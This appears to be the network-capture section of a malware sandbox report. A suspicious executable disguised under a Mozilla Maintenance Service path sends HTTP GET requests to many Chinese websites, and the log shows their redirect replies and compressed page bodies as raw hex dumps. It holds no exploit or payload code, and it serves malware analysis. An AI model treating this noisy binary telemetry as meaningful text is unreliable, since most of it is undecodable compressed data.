Aug 5, 2024 11:59:09.220782042 CEST	1236	IN	Data Raw: c9 29 b5 bd 47 1c 46 ef 09 76 6a dc 9e f4 1a 52 87 1c a9 25 94 3c 4c 99 af e8 55 72 3e 26 27 97 f3 93 2e 03 02 69 db 18 6e 20 90 a2 b7 4e fa 39 b7 dd e9 36 b9 42 04 72 03 4b 6b 1f cb 84 2f 80 62 70 25 45 7c 8e e2 24 24 8d ae c9 47 74 02 d3 fd 15 Data Ascii: )GFvjR%<LUr>&'.in N96BrKk/bp%E\|$$GtvK!Wc%!CFtv2Dcr[GTqkOl"oF,@RA*@2sWQ N?<A2\|H77%C1ga<3-4CSC_V=UM-hRZ6}4
Aug 5, 2024 11:59:09.220799923 CEST	1236	IN	Data Raw: d1 87 97 83 85 08 a9 6a 85 f6 80 af 74 f1 53 30 44 b9 17 bc 5a 59 d8 99 d8 fd ba ba cc 8a 76 12 c6 5a c3 15 42 bd b0 08 be 48 03 8a 23 92 5b a6 58 ea 10 2c 71 15 ba c5 40 9a 73 1b 15 1f 13 4f b1 a1 a6 86 93 46 b7 e3 5a 0a 4a 96 54 9a 3b 74 c4 c0 Data Ascii: jtS0DZYvZBH#[X,q@sOFZJT;tkS7s%*DzC8[67:nU#[J!W`\|Z2jBP\v.8yDN>)!,r~x/wno fq3:?Tnx56sB8469Jgj
Aug 5, 2024 11:59:09.226286888 CEST	1236	IN	Data Raw: 3e 54 fa 46 7e 67 20 62 18 72 05 44 58 09 73 18 90 18 18 8d a4 ad 99 65 bf 5e 2e 37 10 f8 ee 50 6e a3 20 55 2c e6 bc 6a de 6f e4 72 2c 21 ad bc 0f 8d bc a1 07 97 01 42 c6 18 f6 ed d9 f9 83 75 db 2c 35 b2 45 d7 85 48 de 74 ab 03 29 7d 60 54 e0 50 Data Ascii: >TF~g brDXse^.7Pn U,jor,!Bu,5EHt)}`TPr8 wJop"QHrqjk:'6j)r\XRB,Ds]}7D'S p~cJPD 5[);WU)kr44@~bNT2rO*Q3Tp\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	163.171.132.119	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.426970959 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.049736977 CEST	342	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Aug 2024 09:59:08 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66b0a26c_PSdgflkfFRA2po75_13876-57157 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	104.192.110.226	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.427170992 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.363317013 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	163.181.130.181	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.467299938 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.109852076 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49713	111.124.200.101	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.584700108 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.207840919 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Mon, 05 Aug 2024 09:59:10 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49714	49.51.130.237	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.665525913 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.292283058 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49715	103.235.46.98	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.766725063 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.069243908 CEST	1236	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +058349eb155bd0ee1d74a11be14f2f86 Date: Mon, 05 Aug 2024 09:59:09 GMT Lfy: gznj.79741 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Mon, 05-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=CA24E81CA66CE71D3D546B2290F63ECA:FG=1; expires=Tue, 05-Aug-25 09:59:09 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 35495134270229084426080517 Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 32 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 ed 9e b3 92 65 cb 7b b4 96 b8 fe 31 ab 19 52 9f fc 17 7c 1f 11 91 37 1e 99 48 54 75 f7 70 49 b1 38 33 00 32 32 e2 c6 8d 1b f7 1d 37 be fe 95 27 bf fe f8 e3 1f 7c f8 b4 76 be bd 98 7f e3 eb f8 ef da 78 9e 6e 36 0f ee dc 81 af 59 3a f9 c6 d7 17 cb cd 78 3d 5b 6d bf f1 f5 8b 6c 9b 42 cb ed 2a ca 7e 7b 37 7b f1 e0 ce 3a 9b ae b3 cd f9 9d da 78 b9 d8 66 8b ed 83 3b 8d 93 da f7 3e fa b5 07 f7 8e 7f e5 f4 54 bf 78 7a 1a 3d 48 ee dd a9 1d 7f e3 eb c7 79 67 db d9 76 9e 7d e3 3c 5d 26 cd d6 e9 df fe d5 1f fe f4 27 ff f4 6f ff fa bf fb d9 ff fb 3f fd dd ef ff d1 e7 7f f3 3b 9f ff eb 7f fc f5 63 6e f3 f5 51 ba c9 6a db 74 7d 96 c1 08 a7 a3 79 ba 78 0e d0 11 34 e3 f3 74 bd c1 9f 77 db 69 d4 bf 03 43 b8 40 7e 3f fa de c3 e8 f1 f2 62 95 6e 67 a3 79 96 83 fa fe d3 07 d9 e4 [TRUNCATED] Data Ascii: 2eek#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&'o?;cnQjt}yx4twiC@~?bngy,A\(Mvfz6BLuj\|_^:?3Yl&5MdggxY^;>a<{u\O6bdmw>?9['~_T7/?z?ofIddQ/_/
Aug 5, 2024 11:59:10.069273949 CEST	194	IN	Data Raw: c7 7f f8 b3 ff fb 1f 7d f1 ff fc 93 9f fe cf ff e8 6f ff ea df 7d f1 2f 7e 5f 82 fa 9f 7e e7 1f 42 83 2f fe c7 7f ff c5 3f fb f7 9f ff e4 9f 7f fe 93 bf f8 d9 bf fe bd ff f4 3b ff f5 df fd ab ff eb 6f ff c3 3f 81 0f 9f ff 1f 7f fc b3 3f ff 4b f8 Data Ascii: }o}/~_~B/?;o??K_?w{?T}{ogo~O\|'??~#2mxSVr,/
Aug 5, 2024 11:59:10.069335938 CEST	1236	IN	Data Raw: 33 64 31 63 0d 0a 6f 3f fc f5 07 f9 c7 cf 3e bb ba 3e c9 bf c6 b8 57 37 b5 07 b5 69 3a df 64 de 83 8f d7 e9 82 9e ee 16 63 a4 ed fb bb f5 fc e8 6a 9d 6d 77 eb 45 0d 3e 5f 9f 7c fd 58 6f fd cd f6 15 ec 9d ed ab 15 6c 8d 6d f6 72 7b 3c de 6c 60 c3 Data Ascii: 3d1co?>>W7i:dcjmwE>_\|Xolmr{<l`f=~p,M6[8c$xz3`lI?6[M\|1[>M_xv#2Os}GO?Oxi3}5Bxm_f!v\{[
Aug 5, 2024 11:59:10.069384098 CEST	1236	IN	Data Raw: 85 4e c0 fe 05 3b 15 29 45 bf f7 1e 30 99 8b b9 b5 5a 1b e0 37 d1 06 2d c3 13 c4 0c 68 af 44 4e 49 9c 74 4e a2 8b 4d 44 74 83 ab 18 a5 93 4f 77 1b 78 82 c4 01 54 37 7a 3e db 86 9f 5e e3 9e 32 fb e1 3a c5 d5 9b 67 f5 74 33 9b 64 b0 85 96 5b 40 35 Data Ascii: N;)E0Z7-hDNItNMDtOwxT7z>^2:gt3d[@5*E:^p4_}lf'j^vQk\Oggp>Y5~AIvc\|+gNYtf8YMk0-],;P(?Gp1/qFal5\>lJS@
Aug 5, 2024 11:59:10.069437981 CEST	1236	IN	Data Raw: 06 2c ac ec 3e 32 e9 23 a3 9b 16 3d 26 c3 89 7a f0 5f 05 9b a1 e8 d1 b2 e8 89 7a 01 7c f5 f7 c1 63 92 82 e3 1e 50 16 83 ba 73 d7 40 76 74 a2 1a a1 90 00 bf f2 93 ef bf 7f 01 4e 16 f2 28 a1 72 11 7f 30 1b af 97 9b e5 74 1b 3f 02 4b 63 4c 4f ef 9b Data Ascii: ,>2#=&z_z\|cPs@vtN(r0t?KcLO$e:~lR{CYc v6SOt^:Y.!?~uG@TVi'3W;li\`0*Z8BHW:vFM#!Aw{?MJP
Aug 5, 2024 11:59:10.069469929 CEST	1236	IN	Data Raw: 18 89 56 fe 9f 3b e9 7c 75 9e de ff 75 56 a1 1f 34 8e c0 b7 c2 ae 28 7e a0 d4 28 78 70 12 3d c7 28 53 94 3b e6 28 76 92 7f cd 3f 29 2f 70 94 bd 00 f3 6c 43 81 aa 3c 40 8b 8c 99 83 84 30 d7 5a 9c f4 37 b5 0c a2 82 11 38 5e e8 1b 33 e7 d2 16 8a b8 Data Ascii: V;\|uuV4(~(xp=(S;(v?)/plC<@0Z78^3z`w0C!iSGv7;#Q6D][^%\|+:rA{^tj$n%=]( Rf0Zz5?zGsFolrO?Yv~
Aug 5, 2024 11:59:10.069504976 CEST	1236	IN	Data Raw: 43 29 55 35 77 5b a2 7f 83 9c 83 28 d9 ca 1c 1d 14 15 7a ed 6e cb 12 50 c3 9e cb e0 0b 6f d9 79 f9 25 f2 dc 52 b7 e5 2f 0d fb 2d 77 98 96 ed 93 52 4e ec 7a 4b 05 ad 85 83 39 41 62 f4 9d 2d a1 66 c5 4c 3f c0 13 42 01 da d7 e2 39 0d 40 46 29 b7 8e Data Ascii: C)U5w[(znPoy%R/-wRNzK9Ab-fL?B9@F)YW3*Ux:Rm1Bx\/"L%OVY}gP%&b.`ytV;7~{e ol74B_/=p?:,WaT2!F:~Eoh}[)}_
Aug 5, 2024 11:59:10.069538116 CEST	1236	IN	Data Raw: bd 23 e3 e7 30 69 5b 22 58 8b c5 c0 71 ed 3a 7b 99 ec ba 24 e8 20 95 26 08 95 fc 0b 8d e5 95 12 ac b9 b5 04 19 e8 21 c5 0f 70 45 88 91 f8 09 d6 0c 59 43 43 6b ca a9 71 ea 2c 2d a1 5e 57 d5 14 74 64 58 5c fc 97 7e c0 c9 ae 94 2a c1 45 e0 65 7d b7 Data Ascii: #0i["Xq:{$ &!pEYCCkq,-^WtdX\~*Ee}f2Nlp%njd1n]t1EYZga./<O>w~\|,z{p=:mfR\|SMF"j`OhJLW,2Dsk! j$CaG--V
Aug 5, 2024 11:59:10.069571018 CEST	1236	IN	Data Raw: 97 c6 cb 25 75 aa 6e 03 29 d3 31 1a 85 1a 7e f7 69 17 ff 78 b6 10 de cb 61 f4 38 97 9e cd b3 01 fe e9 b6 64 5a f2 1e c6 ea 3b 86 8b 88 e2 35 e4 a8 12 3c 8b 00 45 c1 21 d4 7a 2c 29 44 57 30 1f 1f f3 ed cb 70 23 28 5f 61 3e 59 c4 a3 71 36 5a 6e e8 Data Ascii: %un)1~ixa8dZ;5<E!z,)DW0p#(_a>Yq6Zniop:6iZN/#q,fqcy<jG$^-DyS@JOt[n`+./(K!Hj~sm7In24s@}xp[pUi{mN;)rfe
Aug 5, 2024 11:59:10.069605112 CEST	1236	IN	Data Raw: b4 66 f4 05 c4 f4 9b 90 4b c1 fb 25 69 82 e0 3d 84 ee d8 55 90 bf e0 3e 42 73 cf 34 5d 9e 2d 29 0e 0d e9 12 7b 6c 11 dd b9 78 23 cc bc 2c 3d aa 45 a6 9f 3d a0 d9 fe 39 91 09 75 1f 78 2f ba 64 dd 97 f6 ed 03 05 9e 8a 01 19 81 e1 b2 71 75 bd 66 d8 Data Ascii: fK%i=U>Bs4]-){lx#,=E=9ux/dquf]d!_Q N^pP`[_GB8/yN6sAr%)ArUD"z!H!m(O&P/->/U1@wV`Hy/'tpY
Aug 5, 2024 11:59:10.074681997 CEST	1236	IN	Data Raw: 4e e1 ee 74 30 b3 a2 0c d2 10 2f b2 f5 38 a3 cc 20 cf 6f 2b 4e 4b 69 8f 1a eb d8 22 27 53 e5 e5 2a f5 59 ad 95 48 4d b5 35 ea ce b4 03 ca 7e 60 70 30 dd 35 ed b8 eb 2f d5 5c 57 5b 2d ef 4a 15 9f 12 5b f0 86 04 13 1e 66 3b 83 38 9f 22 da 7c 8c bd Data Ascii: Nt0/8 o+NKi"'S*YHM5~`p05/\W[-J[f;8"\|mp=d"Ktl4q2,F?@`0HsPO9,/b\| 'Did:bf%ZF)M@c8jvS7m]/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49716	47.246.46.226	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.838057995 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.eastmoney.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:09.480896950 CEST	545	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.eastmoney.com/ Via: ens-cache14.it4[,0] Timing-Allow-Origin: * EagleId: 2ff62ea217228519493964129e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49717	120.26.110.170	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:08.929725885 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:10.055754900 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: text/html; charset=gbk Last-Modified: Mon, 05 Aug 2024 09:53:35 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66b0a11f-29935" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 5e 8f e5 e8 06 b1 12 24 65 8b 1d 1e bb bb c7 f7 4e f7 f8 5d fb c5 7d 2f 3a 3a 14 20 01 8a b0 b8 99 04 b5 f8 f5 bb 5f ef ef 00 21 4b 24 45 99 d8 f7 85 20 41 10 fb 4e 80 a2 64 4b a2 64 b9 25 51 92 2d 5a a2 44 4a 8e 97 59 85 02 aa 80 02 aa b0 50 52 df 71 bb 43 04 50 75 ce c9 cc 93 27 4f 9e 3c b9 bc ff 4f 1f fd c7 87 9f fd 3f 9f fc 5e 30 aa 1b 1f 13 7c f2 7f fd eb bf 7f fc a1 40 28 12 8b ff 87 fc 43 b1 f8 a3 cf 3e 12 fc df ff f6 d9 9f fe 5d 20 ed 91 08 3e 9b 56 4d cc 68 75 da c9 09 d5 98 58 fc fb 3f 0b 05 c2 51 9d 6e ea b8 58 7c f6 ec d9 9e b3 f2 9e c9 e9 53 e2 cf fe bb f8 1c f6 25 c5 c6 e5 8f 22 1d ad 65 8f 5a a7 16 0e fe ea 7d 62 c0 73 e3 63 13 33 27 58 ba 91 0e 0c 0c 90 ad 89 77 35 2a 35 fc 19 d7 e8 54 00 a8 6e 4a a4 f9 62 56 7b e6 84 f0 c3 c9 09 9d 66 42 27 fa ec fc 94 46 28 18 26 bf 9d 10 ea 34 e7 74 62 ec ff 3d c1 f0 a8 6a 7a 46 a3 3b 71 6a 48 26 97 ca 84 62 e8 45 a7 d5 8d 69 06 63 96 b0 c3 f3 d8 78 2f f9 [TRUNCATED] Data Ascii: 4000isW(#`^$eN]}/:: _!K$E ANdKd%Q-ZDJYPRqCPu'O<O?^0\|@(C>] >VMhuX?QnX\|S%"eZ}bsc3'Xw55TnJbV{fB'F(&4tb=jzF;qjH&bEicx/0_VW~U#~1G.Dybu24%o}!PkNOkVvJ%F<q%/1K\|X6 <#>d/d?~$8_`7t&PkfS85m l!ju%KKNh:Dr&E?H#iC]WK-!AH>GJ2cinxV':`BF\|ND6:!qZ;~gdrR=iz&4:1E<:zA&'OOU3cQFG@p0_/vB9'v@$r$!:\uFE</OLOONF8;NOtdDhGc:5`fzLI{z{d=L#;EB": x`zX"D)[!8b,#1&U#$A,6/oLIU
Aug 5, 2024 11:59:10.055814981 CEST	1236	IN	Data Raw: 1a f1 e7 33 e2 d1 c9 71 cd c9 7a ea 30 57 99 12 57 19 4d da 75 41 50 cc 9c d6 4e 88 d5 9a 11 d5 ec 98 4e ac d5 28 09 71 81 42 b5 1d 46 66 43 73 4c 35 71 4a fc e5 a8 68 78 42 8c 1f bb 4d 40 72 0d 88 41 52 8f 68 db ed bc f9 46 00 93 33 3e 39 04 93 Data Ascii: 3qz0WWMuAPNN(qBFfCsL5qJhxBM@rARhF3>9f(g45:IF>!hrN\&aJ31S.4+q6#'&&''Nk4(YO#*&6V/V&mzCMhOM[
Aug 5, 2024 11:59:10.055851936 CEST	1236	IN	Data Raw: 9d 39 89 76 ad 93 20 9d 00 b2 3a 4d 61 76 46 33 5d 33 0a f3 88 48 68 e2 00 8a bc 9f 10 6e d0 05 a1 45 12 7a 07 4f b0 4f cd 82 9d 49 2b ae 07 16 2d 85 2d 76 f4 39 4b 3f d4 76 37 73 16 34 18 d7 81 20 b9 d3 4a a7 e3 2a ed d8 98 76 06 e6 a3 8e 98 c9 Data Ascii: 9v :MavF3]3HhnEzOOI+--v9K?v7s4 J*vb'(#Z)W4c+`xY6tQ!<3p&$LamDaM(U-B@n^~~^TC.e7`\56C4a18
Aug 5, 2024 11:59:10.055883884 CEST	1236	IN	Data Raw: fe dd e4 6c 32 38 61 90 63 8e 4c b5 6a 77 e4 81 32 d1 93 de 40 b3 d5 ac 20 1c 57 c0 91 85 b9 bc 60 b6 b0 61 9b 83 cb 51 78 91 77 a2 81 e5 26 68 57 0c d9 2c a3 97 0d d9 6d 2c 70 39 2e 70 c2 97 38 d5 54 78 82 0b eb cc e4 04 0b e6 d8 ae 5d cc 09 59 Data Ascii: l28acLjw2@ W`aQxw&hW,m,p9.p8Tx]Ycs!Wa;r\hF&DLSW}d3brT5<<U:eJCl{\:u=MXQFvMQ~"L+delv>YLCSrMifVemu;G@>
Aug 5, 2024 11:59:10.055938005 CEST	1236	IN	Data Raw: 61 b6 80 3a d5 a0 0e 76 3e 11 3b bd 62 a9 52 2c ed 13 49 fa 44 72 99 a8 4f 46 51 8c 08 a8 79 eb 28 46 dd 7d 81 76 79 4a 3b 21 1a 9a d4 e9 26 c7 8f 4b a6 ce bd 57 bf 37 f2 66 3e b9 04 18 a2 56 cf 6a 8b 98 7d 04 31 15 22 99 5c 24 91 8b e4 03 6c e1 Data Ascii: a:v>;bR,IDrOFQy(F}vyJ;!&KW7f>Vj}1"\$lO+BWc&#b5,y<huB6zbbD&+?zU"I];[#*lUBH]&OTCbX/V(2)%t?8sm%z\^Us
Aug 5, 2024 11:59:10.055970907 CEST	1236	IN	Data Raw: c3 0d 51 bb 2d 3b e0 63 59 3f 07 1f 17 c2 a1 74 7e 25 ec 4b 6f 19 dc 85 ef ed cb 05 93 7e ae f0 bd 39 10 fb 41 10 58 04 af a6 15 87 3d b5 07 b1 4e 19 bb 3f 67 8c 1e f8 0f 8a f0 29 73 68 bd 2c 1c 6c bb 69 47 f8 70 1c 27 22 11 eb f3 f8 d7 ae c3 f4 Data Ascii: Q-;cY?t~%Ko~9AX=N?g)sh,liGp'"#WE<Est(o2q\pxwneW9~&;>yL@DDvd5NBeM,n5X%%_/:Aov-J4=F v'?
Aug 5, 2024 11:59:10.056021929 CEST	1236	IN	Data Raw: ee a1 f8 35 b8 21 b7 ce 01 7e 43 40 a3 e9 cd 0d c3 52 ee 49 6c d3 12 dd 30 fa 8d a6 3b 66 30 b3 b7 f6 7e 47 90 73 6c 4f 58 b4 21 9f 2c 65 49 c8 d1 85 14 9d 2e 1c b7 cc 07 85 ed e4 21 f8 ed c0 33 c4 23 bd 6a 83 8a 12 ad bc dd 11 d4 1c db 03 c2 11 Data Ascii: 5!~C@RIl0;f0~GslOX!,eI.!3#j:Ivm%!y8{-V[uXTpQTl!zl3{V#9IiBx\+V-'kwWO+R_'na0l]dW\|"
